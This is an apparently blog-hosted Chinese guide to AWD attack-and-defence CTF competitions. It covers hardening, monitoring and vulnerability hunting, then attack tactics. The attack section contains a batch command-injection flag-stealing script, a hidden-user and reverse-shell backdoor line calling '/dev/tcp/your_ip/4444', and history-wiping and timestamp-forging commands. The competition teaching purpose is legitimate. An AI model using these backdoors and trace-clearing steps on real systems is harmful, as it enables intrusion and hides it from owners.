☰
AWD攻防赛实战指南:从防御加固到自动化攻击
2026/11/5 3:10:30 网站建设 项目流程

1. 赛事认知与基础准备

AWD(Attack With Defense)模式是近年来CTF竞赛中最具对抗性和实战性的赛制形式。与传统的解题赛不同,每支队伍会分配到一个存在漏洞的在线靶机环境,选手需要同时完成漏洞挖掘、系统加固、实时防御和攻击渗透等多重任务。这种"攻防一体"的赛制对参赛者的综合能力提出了极高要求。

我参加过七届国内外大型AWD赛事,从最初的"手忙脚乱"到后来带队斩获前三,深刻体会到这种赛制的独特魅力。与传统CTF相比,AWD更贴近真实安全运维场景——你永远不知道下一秒会被哪个对手偷走flag,也可能因为一个未修复的漏洞导致全场队伍连环沦陷。

1.1 典型赛场环境拓扑

标准AWD赛场通常采用类似下面的架构:

[队伍A靶机] ←→ [中心交换机] ←→ [队伍B靶机] ↑ ↑ ↑ 队伍A 裁判机 队伍B (SSH管理) (flag检查) (SSH管理)

关键组件说明:

  • 每支队伍拥有独立靶机(通常为Ubuntu/CentOS系统)
  • 靶机开放SSH(22端口)用于管理,Web(80/443)等业务端口对外服务
  • 裁判机定时从各靶机读取flag文件(通常每3-5分钟一轮)
  • 攻击成功表现为:获取其他队伍flag并提交到裁判系统
  • 防御成功表现为:保证自己的flag不被他人获取

1.2 必须掌握的四大核心技能

根据实战经验,AWD选手需要具备以下能力矩阵:

技能维度具体要求典型工具
漏洞快速挖掘能在10分钟内完成代码审计、敏感信息扫描、服务漏洞检测seay、gdb、checksec
即时防御加固对已知/未知漏洞能快速采取临时防护措施iptables、chattr、patch
自动化攻击编写脚本批量利用漏洞获取flagpython、pwntools、exp
战场态势感知实时监控系统状态、识别攻击来源、分析流量特征tcpdump、日志分析

关键认知:AWD不是单纯的"攻"或"防",而是要在两者间动态平衡。我见过太多队伍因为过度专注攻击而忽视防御,最终被反向渗透导致丢分。

2. 防御体系构建实战

2.1 初始加固黄金十分钟

比赛开始后的前十分钟是防御的关键窗口期。按优先级排序:

  1. SSH安全加固(立即执行)
# 修改默认SSH端口 sudo sed -i 's/#Port 22/Port 63222/' /etc/ssh/sshd_config # 禁止root登录 sudo sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config # 启用密钥认证 sudo sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config # 重启服务 sudo systemctl restart sshd
  1. 文件权限锁死
# 防止flag被读取(即使拿到shell) sudo chattr +i /flag /readflag /opt/getflag # Web目录禁止执行 sudo find /var/www/html -type d -exec chmod 555 {} \; sudo find /var/www/html -type f -exec chmod 444 {} \;
  1. 网络层防护
# 允许必要端口(根据实际调整) sudo iptables -A INPUT -p tcp --dport 63222 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT sudo iptables -A INPUT -j DROP # 防CC攻击(每IP每秒最多3个新连接) sudo iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j DROP sudo iptables -A INPUT -p tcp --dport 80 -m limit --limit 3/second --limit-burst 10 -j ACCEPT

2.2 漏洞定位三板斧

当基础加固完成后,立即转向漏洞挖掘:

  1. 敏感信息扫描
# 快速查找配置文件、备份文件 find / -name "*.bak" -o -name "*.swp" -o -name "*.old" -o -name "*~" 2>/dev/null # 检查SUID危险程序 find / -perm -4000 -type f 2>/dev/null | grep -vE "/usr/bin|/usr/sbin"
  1. Web目录审计
# 检查危险函数(PHP场景) grep -r "eval(" /var/www/html grep -r "system(" /var/www/html grep -r "shell_exec(" /var/www/html # 检查反序列化入口 grep -r "unserialize(" /var/www/html
  1. 服务漏洞检测
# 检查服务版本 sudo netstat -tulnp | awk '{print $7}' | cut -d'/' -f2 | sort -u # 使用searchsploit快速查询已知漏洞 searchsploit nginx 1.18 searchsploit php 7.4

2.3 自动化监控方案

使用脚本实现实时监控是高端局的标配:

#!/usr/bin/env python3 import os, hashlib, time LOG_FILE = "/var/log/awd_monitor.log" CRITICAL_FILES = ["/flag", "/etc/passwd", "/var/www/html/index.php"] def file_monitor(): baseline = {} for f in CRITICAL_FILES: try: with open(f, 'rb') as fd: baseline[f] = hashlib.md5(fd.read()).hexdigest() except: continue while True: for f in CRITICAL_FILES: try: with open(f, 'rb') as fd: current = hashlib.md5(fd.read()).hexdigest() if current != baseline.get(f): alert = f"[!] {f} modified at {time.ctime()}" print(alert) with open(LOG_FILE, 'a') as log: log.write(alert + "\n") baseline[f] = current except: pass time.sleep(5) if __name__ == '__main__': file_monitor()

血泪教训:在某次比赛中,我们因为没监控/etc/passwd文件,对手通过添加用户的方式拿到了持久化后门,导致连续多轮丢分。

3. 攻击战术与自动化

3.1 攻击路径规划

成熟的AWD攻击流程应包含:

  1. 信息收集阶段

    • 扫描所有队伍IP和开放端口(nmap -sS -Pn)
    • 识别Web框架/服务版本(whatweb、Wappalyzer)
    • 检查通用漏洞(如phpMyAdmin、ThinkPHP)
  2. 漏洞利用阶段

    • 优先使用自己靶机发现的漏洞攻击他人
    • 准备多个exp应对不同环境(如Python/PHP版本差异)
    • 对防御强的队伍尝试0day或组合漏洞
  3. 持续控制阶段

    • 获取shell后部署持久化后门
    • 清除其他攻击者的痕迹(.bash_history等)
    • 建立SSH隧道避免被踢出

3.2 批量攻击脚本示例

以下是一个典型的批量提交flag的Python脚本:

import requests import threading TARGETS = ['10.0.1.%d'%i for i in range(1,21)] FLAG_URL = "http://{ip}/backend.php?cmd=cat+/flag" SUBMIT_URL = "http://judge.example.com/submit" TEAM_TOKEN = "your_token_here" def attack(ip): try: flag = requests.get(FLAG_URL.format(ip=ip), timeout=3).text.strip() if "flag{" in flag: data = {'token':TEAM_TOKEN, 'flag':flag} requests.post(SUBMIT_URL, data=data, timeout=2) print(f"[+] {ip} 成功提交") except Exception as e: print(f"[-] {ip} 失败: {str(e)}") for ip in TARGETS: threading.Thread(target=attack, args=(ip,)).start()

3.3 高级攻击技巧

  1. 流量伪装技术
# 修改User-Agent模拟正常请求 curl -A "Mozilla/5.0 (Windows NT 10.0)" http://target/exp.php # 使用延时避免触发WAF import time time.sleep(random.randint(1,3))
  1. 权限维持方法
# 添加隐藏用户 useradd -M -s /bin/bash -g root hiddenuser echo "hiddenuser:password123" | chpasswd # 创建SSH后门 cp /usr/bin/ssh /usr/bin/sshd-backdoor echo "bash -i >& /dev/tcp/your_ip/4444 0>&1" >> /usr/bin/sshd-backdoor
  1. 痕迹清理指南
# 清除命令历史 echo "" > ~/.bash_history history -c # 修改文件时间戳 touch -r /etc/passwd /tmp/.backdoor

4. 实战问题排查手册

4.1 常见故障速查表

现象可能原因解决方案
SSH突然断开对手修改了iptables规则尝试其他端口或Webshell连接
flag提交失败裁判系统过载或flag过期检查比赛时间,确认本轮是否结束
网站返回500错误对手删除了关键文件从备份恢复,检查文件监控日志
CPU占用100%被植入挖矿木马kill异常进程,检查crontab和/etc/init.d

4.2 应急响应流程

  1. 立即止损

    • 断开网络:sudo ifconfig eth0 down
    • 停止服务:sudo systemctl stop apache2
  2. 入侵分析

    • 检查进程:ps auxf
    • 分析网络:netstat -antp
    • 查找新增文件:find / -mtime -1
  3. 系统恢复

    • 删除恶意文件
    • 修复配置文件
    • 重启服务

4.3 赛后复盘要点

  1. 技术层面

    • 所有被利用的漏洞点及修复方案
    • 有效和无效的防御措施
    • 攻击链路的完整路径
  2. 战术层面

    • 时间分配是否合理
    • 团队协作效率
    • 自动化程度不足的环节
  3. 提升计划

    • 需要加强的技能点
    • 工具链优化方向
    • 模拟训练重点

在最近一次省赛中,我们通过实时流量分析发现对手利用的是我们忽略的Redis未授权访问漏洞。这个教训让我们意识到:AWD比赛中,任何开放的服务都可能成为突破口,必须建立完整的服务画像和防护策略。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询